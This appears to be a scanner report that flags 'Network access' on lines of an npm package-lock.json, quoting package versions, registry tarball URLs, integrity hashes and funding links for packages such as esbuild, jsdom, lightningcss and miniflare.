"version": "0.28.1", "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.28.1.tgz", "integrity": "sha512-HrJrvZv5ayxBzPfwphOoNzkzOIIlifzk0KJrGK2c8R4+LKpMtpYLQeUdjnwjWv/LZlkH2laZk+4w78pi99D4Vw==", - Network accessline 2499
"resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.28.1.tgz", - Network accessline 2539
"node_modules/estree-walker": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz", - Network accessline 2540
"version": "3.0.3", "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz", "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", - Network accessline 2541
"resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz", - Network accessline 2549
"node_modules/expect-type": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.4.0.tgz", - Network accessline 2550
"version": "1.4.0", "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.4.0.tgz", "integrity": "sha512-KfYbmpRm0VbLjEvVa9yGwCi9GI34xvi7A/HXYWQO65CSD2u3MczUJSuwXKFIxlGsgBQizV9q5J9NHj4VG0n+pA==", - Network accessline 2551
"resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.4.0.tgz", - Network accessline 2559
"node_modules/fdir": { "version": "6.5.0", "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", - Network accessline 2560
"version": "6.5.0", "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", - Network accessline 2561
"resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", - Network accessline 2577
"node_modules/form-data": { "version": "4.0.6", "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.6.tgz", - Network accessline 2578
"version": "4.0.6", "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.6.tgz", "integrity": "sha512-vKatAh4SlVfgbv+YtmhiRjhEMJsYpsG1Y2rMQtR+SVSbytsSD1YGzDIcrAJmdFec88u/+VoGmxnl+80gL1tRCQ==", - Network accessline 2579
"resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.6.tgz", - Network accessline 2594
"node_modules/fsevents": { "version": "2.3.3", "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", - Network accessline 2595
"version": "2.3.3", "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", - Network accessline 2596
"resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", - Network accessline 2609
"node_modules/function-bind": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", - Network accessline 2610
"version": "1.1.2", "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", - Network accessline 2611
"resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", - Network accessline 2614
"license": "MIT", "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 2615
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 2616
"url": "https://github.com/sponsors/ljharb" - Network accessline 2619
"node_modules/get-intrinsic": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", - Network accessline 2620
"version": "1.3.0", "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", - Network accessline 2621
"resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", - Network accessline 2639
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 2640
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 2641
"url": "https://github.com/sponsors/ljharb" - Network accessline 2644
"node_modules/get-proto": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", - Network accessline 2645
"version": "1.0.1", "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", - Network accessline 2646
"resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", - Network accessline 2658
"node_modules/gopd": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", - Network accessline 2659
"version": "1.2.0", "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", - Network accessline 2660
"resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", - Network accessline 2666
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 2667
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 2668
"url": "https://github.com/sponsors/ljharb" - Network accessline 2671
"node_modules/has-symbols": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", - Network accessline 2672
"version": "1.1.0", "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", - Network accessline 2673
"resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", - Network accessline 2679
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 2680
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 2681
"url": "https://github.com/sponsors/ljharb" - Network accessline 2684
"node_modules/has-tostringtag": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", - Network accessline 2685
"version": "1.0.2", "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", - Network accessline 2686
"resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", - Network accessline 2695
}, "funding": { "url": "https://github.com/sponsors/ljharb" - Network accessline 2696
"funding": { "url": "https://github.com/sponsors/ljharb" } - Network accessline 2697
"url": "https://github.com/sponsors/ljharb" - Network accessline 2700
"node_modules/hasown": { "version": "2.0.4", "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz", - Network accessline 2701
"version": "2.0.4", "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz", "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==", - Network accessline 2702
"resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz", - Network accessline 2713
"node_modules/html-encoding-sniffer": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-4.0.0.tgz", - Network accessline 2714
"version": "4.0.0", "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-4.0.0.tgz", "integrity": "sha512-Y22oTqIU4uuPgEemfz7NDJz6OeKf12Lsu+QC+s3BVpda64lTiMYCyGwg5ki4vFxkMwQdeZDl2adZoqUgdFuTgQ==" - Network accessline 2715
"resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-4.0.0.tgz", - Network accessline 2726
"node_modules/http-proxy-agent": { "version": "7.0.2", "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", - Network accessline 2727
"version": "7.0.2", "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", - Network accessline 2728
"resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", - Network accessline 2740
"node_modules/https-proxy-agent": { "version": "7.0.6", "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", - Network accessline 2741
"version": "7.0.6", "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", "integrity": "sha512-vK9P5/iUfdl95AI+JVyUuIcVtd4ofvtrOr3HNtM2yxC9bnMbEdp3x01OhQNnjb8IJYi38VlTE3mBXwcfvywuSw==", - Network accessline 2742
"resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.6.tgz", - Network accessline 2754
"node_modules/iconv-lite": { "version": "0.6.3", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", - Network accessline 2755
"version": "0.6.3", "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", - Network accessline 2756
"resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", - Network accessline 2767
"node_modules/is-potential-custom-element-name": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", - Network accessline 2768
"version": "1.0.1", "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmP - Network accessline 2769
"resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz", - Network accessline 2774
"node_modules/jose": { "version": "6.2.12", "resolved": "https://registry.npmjs.org/jose/-/jose-6.2.12.tgz", - Network accessline 2775
"version": "6.2.12", "resolved": "https://registry.npmjs.org/jose/-/jose-6.2.12.tgz", "integrity": "sha512-9NiFmJEex0sy2Dk58j2UGBSHgUs2ypF9eZSu4L6vjOX3Dp96Sw1F3uL+H+D1sx02jZZdzUT0HgvCy59CuvXcWw==", - Network accessline 2776
"resolved": "https://registry.npmjs.org/jose/-/jose-6.2.12.tgz", - Network accessline 2778
"license": "MIT", "funding": { "url": "https://github.com/sponsors/panva" - Network accessline 2779
"funding": { "url": "https://github.com/sponsors/panva" } - Network accessline 2780
"url": "https://github.com/sponsors/panva" - Network accessline 2783
"node_modules/jsdom": { "version": "24.1.3", "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-24.1.3.tgz", - Network accessline 2784
"version": "24.1.3", "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-24.1.3.tgz", "integrity": "sha512-MyL55p3Ut3cXbeBEG7Hcv0mVM8pp8PBNWxRqchZnSfAiES1v1mRnMeFfaHWIPULpwsYfvO+ZmMZz5tGCnjzDUQ==", - Network accessline 2785
"resolved": "https://registry.npmjs.org/jsdom/-/jsdom-24.1.3.tgz", - Network accessline 2824
"node_modules/jsonc-parser": { "version": "3.3.1", "resolved": "https://registry.npmjs.org/jsonc-parser/-/jsonc-parser-3.3.1.tgz", - Network accessline 2825
"version": "3.3.1", "resolved": "https://registry.npmjs.org/jsonc-parser/-/jsonc-parser-3.3.1.tgz", "integrity": "sha512-HUgH65KyejrUFPvHFPbqOY0rsFip3Bo5wb4ngvdi1EpCYWUQDC5V+Y7mZws+DLkr4M//zQJoanu1SP+87Dv1oQ==", - Network accessline 2826
"resolved": "https://registry.npmjs.org/jsonc-parser/-/jsonc-parser-3.3.1.tgz", - Network accessline 2830
"node_modules/kleur": { "version": "4.1.5", "resolved": "https://registry.npmjs.org/kleur/-/kleur-4.1.5.tgz", - Network accessline 2831
"version": "4.1.5", "resolved": "https://registry.npmjs.org/kleur/-/kleur-4.1.5.tgz", "integrity": "sha512-o+NO+8WrRiQEE4/7nwRJhN1HWpVmJm511pBHUxPLtp0BUISzlBplORYSmTclCnJvQq2tKu/sgl3xVpkc7ZWuQQ==", - Network accessline 2832
"resolved": "https://registry.npmjs.org/kleur/-/kleur-4.1.5.tgz", - Network accessline 2840
"node_modules/lightningcss": { "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss/-/lightningcss-1.33.0.tgz", - Network accessline 2841
"version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss/-/lightningcss-1.33.0.tgz", "integrity": "sha512-WkUDrojuJs0xkgGf2udWxa3yGBRxPtxUkB79i6aCZLRgc7PM8fZe9TosfPDcvEpQZbuFASnHYmRLBLUbmLOIIA==", - Network accessline 2842
"resolved": "https://registry.npmjs.org/lightningcss/-/lightningcss-1.33.0.tgz", - Network accessline 2852
"funding": { "type": "opencollective", "url": "https://opencollective.com/parcel" - Network accessline 2853
"type": "opencollective", "url": "https://opencollective.com/parcel" }, - Network accessline 2854
"url": "https://opencollective.com/parcel" - Network accessline 2870
"node_modules/lightningcss-android-arm64": { "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-android-arm64/-/lightningcss-android-arm64-1.33.0.tgz", - Network accessline 2871
"version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-android-arm64/-/lightningcss-android-arm64-1.33.0.tgz", "integrity": "sha512-gEpRTalKdosp4Bb8qWtc2iOgE5SeIHlpS1up9bFq2wAyYhl1UdTObYiHe98zEM9SQvSoqQZ1IQD0J - Network accessline 2872
"resolved": "https://registry.npmjs.org/lightningcss-android-arm64/-/lightningcss-android-arm64-1.33.0.tgz", - Network accessline 2886
"funding": { "type": "opencollective", "url": "https://opencollective.com/parcel" - Network accessline 2887
"type": "opencollective", "url": "https://opencollective.com/parcel" } - Network accessline 2888
"url": "https://opencollective.com/parcel" - Network accessline 2891
"node_modules/lightningcss-darwin-arm64": { "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-darwin-arm64/-/lightningcss-darwin-arm64-1.33.0.tgz", - Network accessline 2892
"version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-darwin-arm64/-/lightningcss-darwin-arm64-1.33.0.tgz", "integrity": "sha512-Sciaz8eenNTKn9b3t7+xr0ipTp9YxKQY4npwQ3mrRuL0BAVHBLyZxofhaKBAVtzmtRZ/zTyo0/to4B1 - Network accessline 2893
"resolved": "https://registry.npmjs.org/lightningcss-darwin-arm64/-/lightningcss-darwin-arm64-1.33.0.tgz", - Network accessline 2907
"funding": { "type": "opencollective", "url": "https://opencollective.com/parcel" - Network accessline 2908
"type": "opencollective", "url": "https://opencollective.com/parcel" } - Network accessline 2909
"url": "https://opencollective.com/parcel" - Network accessline 2912
"node_modules/lightningcss-darwin-x64": { "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-darwin-x64/-/lightningcss-darwin-x64-1.33.0.tgz", - Network accessline 2913
"version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-darwin-x64/-/lightningcss-darwin-x64-1.33.0.tgz", "integrity": "sha512-Z5UPAxzrjlWNNyGy6i65cJzzvgJ5D3T6wMvs+gWpY9d7qRhANrxqAp6LhxIgZhWEw18RfJTGcRxjuLIBr+m - Network accessline 2914
"resolved": "https://registry.npmjs.org/lightningcss-darwin-x64/-/lightningcss-darwin-x64-1.33.0.tgz", - Network accessline 2928
"funding": { "type": "opencollective", "url": "https://opencollective.com/parcel" - Network accessline 2929
"type": "opencollective", "url": "https://opencollective.com/parcel" } - Network accessline 2930
"url": "https://opencollective.com/parcel" - Network accessline 2933
"node_modules/lightningcss-freebsd-x64": { "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-freebsd-x64/-/lightningcss-freebsd-x64-1.33.0.tgz", - Network accessline 2934
"version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-freebsd-x64/-/lightningcss-freebsd-x64-1.33.0.tgz", "integrity": "sha512-QQM/Ti/hQajJwCY+RiWuCZ9sdtI/XQk7nDK5vC8kkdwixezOlDgvDx7+RT+QjK6FcFT4MpsuoBnHIo/O3 - Network accessline 2935
"resolved": "https://registry.npmjs.org/lightningcss-freebsd-x64/-/lightningcss-freebsd-x64-1.33.0.tgz", - Network accessline 2949
"funding": { "type": "opencollective", "url": "https://opencollective.com/parcel" - Network accessline 2950
"type": "opencollective", "url": "https://opencollective.com/parcel" } - Network accessline 2951
"url": "https://opencollective.com/parcel" - Network accessline 2954
"node_modules/lightningcss-linux-arm-gnueabihf": { "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-linux-arm-gnueabihf/-/lightningcss-linux-arm-gnueabihf-1.33.0.tgz", - Network accessline 2955
"version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-linux-arm-gnueabihf/-/lightningcss-linux-arm-gnueabihf-1.33.0.tgz", "integrity": "sha512-N7FVBe6iS24MlM6R/4RBTxGhQheZGs7tiQ9U32UtF75NzP5Q7xWPRqLBCKxlRQRk3 - Network accessline 2956
"resolved": "https://registry.npmjs.org/lightningcss-linux-arm-gnueabihf/-/lightningcss-linux-arm-gnueabihf-1.33.0.tgz", - Network accessline 2970
"funding": { "type": "opencollective", "url": "https://opencollective.com/parcel" - Network accessline 2971
"type": "opencollective", "url": "https://opencollective.com/parcel" } - Network accessline 2972
"url": "https://opencollective.com/parcel" - Network accessline 2975
"node_modules/lightningcss-linux-arm64-gnu": { "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-gnu/-/lightningcss-linux-arm64-gnu-1.33.0.tgz", - Network accessline 2976
"version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-gnu/-/lightningcss-linux-arm64-gnu-1.33.0.tgz", "integrity": "sha512-j2v/itmy4HlNxlc6voKXYgBqNi0Ng2LShg4z7GufpEgs05P+2suBVyi9I6YHq5uoVFx9ETin3 - Network accessline 2977
"resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-gnu/-/lightningcss-linux-arm64-gnu-1.33.0.tgz", - Network accessline 2994
"funding": { "type": "opencollective", "url": "https://opencollective.com/parcel" - Network accessline 2995
"type": "opencollective", "url": "https://opencollective.com/parcel" } - Network accessline 2996
"url": "https://opencollective.com/parcel" - Network accessline 2999
"node_modules/lightningcss-linux-arm64-musl": { "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-musl/-/lightningcss-linux-arm64-musl-1.33.0.tgz", - Network accessline 3000
"version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-musl/-/lightningcss-linux-arm64-musl-1.33.0.tgz", "integrity": "sha512-yiO5ROMuYQgXbC60yjZU5CYSFZGKXL0HFATXt9mHJn1+zW55oCtMI9NfcVhYLMFDL7gV7oB - Network accessline 3001
"resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-musl/-/lightningcss-linux-arm64-musl-1.33.0.tgz", - Network accessline 3018
"funding": { "type": "opencollective", "url": "https://opencollective.com/parcel" - Network accessline 3019
"type": "opencollective", "url": "https://opencollective.com/parcel" } - Network accessline 3020
"url": "https://opencollective.com/parcel" - Network accessline 3023
"node_modules/lightningcss-linux-x64-gnu": { "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-gnu/-/lightningcss-linux-x64-gnu-1.33.0.tgz", - Network accessline 3024
"version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-gnu/-/lightningcss-linux-x64-gnu-1.33.0.tgz", "integrity": "sha512-ar+Ju7LmcN0Jo4FpL4hpFybwNG9/3A/Br5KW2n2jyODg3MEZXaDYADdemoNS+BDNfMgKvylJLj4S5 - Network accessline 3025
"resolved": "https://registry.npmjs.org/lightningcss-linux-x64-gnu/-/lightningcss-linux-x64-gnu-1.33.0.tgz", - Network accessline 3042
"funding": { "type": "opencollective", "url": "https://opencollective.com/parcel" - Network accessline 3043
"type": "opencollective", "url": "https://opencollective.com/parcel" } - Network accessline 3044
"url": "https://opencollective.com/parcel" - Network accessline 3047
"node_modules/lightningcss-linux-x64-musl": { "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-musl/-/lightningcss-linux-x64-musl-1.33.0.tgz", - Network accessline 3048
"version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-musl/-/lightningcss-linux-x64-musl-1.33.0.tgz", "integrity": "sha512-RYiYbkokw0trfKqqzfF55lginwEPrD3OJDfTuJzFs1MK6iFnDenaz1fqLLtX4ITG3OktJQXOeTa - Network accessline 3049
"resolved": "https://registry.npmjs.org/lightningcss-linux-x64-musl/-/lightningcss-linux-x64-musl-1.33.0.tgz", - Network accessline 3066
"funding": { "type": "opencollective", "url": "https://opencollective.com/parcel" - Network accessline 3067
"type": "opencollective", "url": "https://opencollective.com/parcel" } - Network accessline 3068
"url": "https://opencollective.com/parcel" - Network accessline 3071
"node_modules/lightningcss-win32-arm64-msvc": { "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-win32-arm64-msvc/-/lightningcss-win32-arm64-msvc-1.33.0.tgz", - Network accessline 3072
"version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-win32-arm64-msvc/-/lightningcss-win32-arm64-msvc-1.33.0.tgz", "integrity": "sha512-1K+MPfLSFVpphzpdbfkhlWk6wBrTObBzS2T6db10PNOZgR9GoVsAWzwNyuhUYYbTp23j+4R - Network accessline 3073
"resolved": "https://registry.npmjs.org/lightningcss-win32-arm64-msvc/-/lightningcss-win32-arm64-msvc-1.33.0.tgz", - Network accessline 3087
"funding": { "type": "opencollective", "url": "https://opencollective.com/parcel" - Network accessline 3088
"type": "opencollective", "url": "https://opencollective.com/parcel" } - Network accessline 3089
"url": "https://opencollective.com/parcel" - Network accessline 3092
"node_modules/lightningcss-win32-x64-msvc": { "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-win32-x64-msvc/-/lightningcss-win32-x64-msvc-1.33.0.tgz", - Network accessline 3093
"version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-win32-x64-msvc/-/lightningcss-win32-x64-msvc-1.33.0.tgz", "integrity": "sha512-OlEICDx/Xl0FqSp4bry8zFnCvGpig3Gl4gCquvYwHuqJKEC1+n9NgDniFvqHGmMv1ZkqDJrDqKK - Network accessline 3094
"resolved": "https://registry.npmjs.org/lightningcss-win32-x64-msvc/-/lightningcss-win32-x64-msvc-1.33.0.tgz", - Network accessline 3108
"funding": { "type": "opencollective", "url": "https://opencollective.com/parcel" - Network accessline 3109
"type": "opencollective", "url": "https://opencollective.com/parcel" } - Network accessline 3110
"url": "https://opencollective.com/parcel" - Network accessline 3113
"node_modules/lru-cache": { "version": "10.4.3", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", - Network accessline 3114
"version": "10.4.3", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", - Network accessline 3115
"resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", - Network accessline 3120
"node_modules/magic-string": { "version": "0.30.21", "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", - Network accessline 3121
"version": "0.30.21", "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==", - Network accessline 3122
"resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz", - Network accessline 3130
"node_modules/math-intrinsics": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", - Network accessline 3131
"version": "1.1.0", "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", - Network accessline 3132
"resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", - Network accessline 3140
"node_modules/mime-db": { "version": "1.52.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", - Network accessline 3141
"version": "1.52.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", - Network accessline 3142
"resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", - Network accessline 3150
"node_modules/mime-types": { "version": "2.1.35", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", - Network accessline 3151
"version": "2.1.35", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", - Network accessline 3152
"resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", - Network accessline 3163
"node_modules/miniflare": { "version": "4.20260722.1", "resolved": "https://registry.npmjs.org/miniflare/-/miniflare-4.20260722.1.tgz", - Network accessline 3164
"version": "4.20260722.1", "resolved": "https://registry.npmjs.org/miniflare/-/miniflare-4.20260722.1.tgz", "integrity": "sha512-FJIg4omaCb2wwSyOeRosEdmVRi3JzGAOOH3pa3twmmtvWECl6BVZMIDwJbjByLKRyU+mrfk0M/n3oSiojFZvSA==", - Network accessline 3165
"resolved": "https://registry.npmjs.org/miniflare/-/miniflare-4.20260722.1.tgz", - Network accessline 3184
"node_modules/ms": { "version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - Network accessline 3185
"version": "2.1.3", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", - Network accessline 3186
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", - Network accessline 3191
"node_modules/nanoid": { "version": "3.3.20", "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.20.tgz", - Network accessline 3192
"version": "3.3.20", "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.20.tgz", "integrity": "sha512-uKdg2G3GNCKQn9byYOpxbGqrT2fGO5KRt5J/8b3pok8rT6qxGWF6hxMyJiEYtAf+FVyYuD9hRaDqX5uPFYJ4ZQ==", - Network accessline 3193
"resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.20.tgz", - Network accessline 3197
{ "type": "github", "url": "https://github.com/sponsors/ai" - Network accessline 3198
"type": "github", "url": "https://github.com/sponsors/ai" } - Network accessline 3199
"url": "https://github.com/sponsors/ai" - Network accessline 3210
"node_modules/nwsapi": { "version": "2.2.28", "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.28.tgz", - Network accessline 3211
"version": "2.2.28", "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.28.tgz", "integrity": "sha512-IlVB7OS7qrOsVYlpnFIkETjMwT9jwvmocJmmM+GZU/PAB3uGi9Ezd7vcWhWBUnSc0ya4ppmQITOyP1ez9gg8cg==", - Network accessline 3212
"resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.28.tgz", - Network accessline 3217
"node_modules/obug": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/obug/-/obug-2.2.1.tgz", - Network accessline 3218
"version": "2.2.1", "resolved": "https://registry.npmjs.org/obug/-/obug-2.2.1.tgz", "integrity": "sha512-XrsrhT5sybtKI6wakr2SPOlGZWWYbUXZ7a0jT8/QOeAPau+1X/bSegNe5YR75oJmEZQbKningirmGOEJCIk61Q==", - Network accessline 3219
"resolved": "https://registry.npmjs.org/obug/-/obug-2.2.1.tgz", - Network accessline 3221
"dev": true, "funding": [ "https://github.com/sponsors/sxzz", - Network accessline 3222
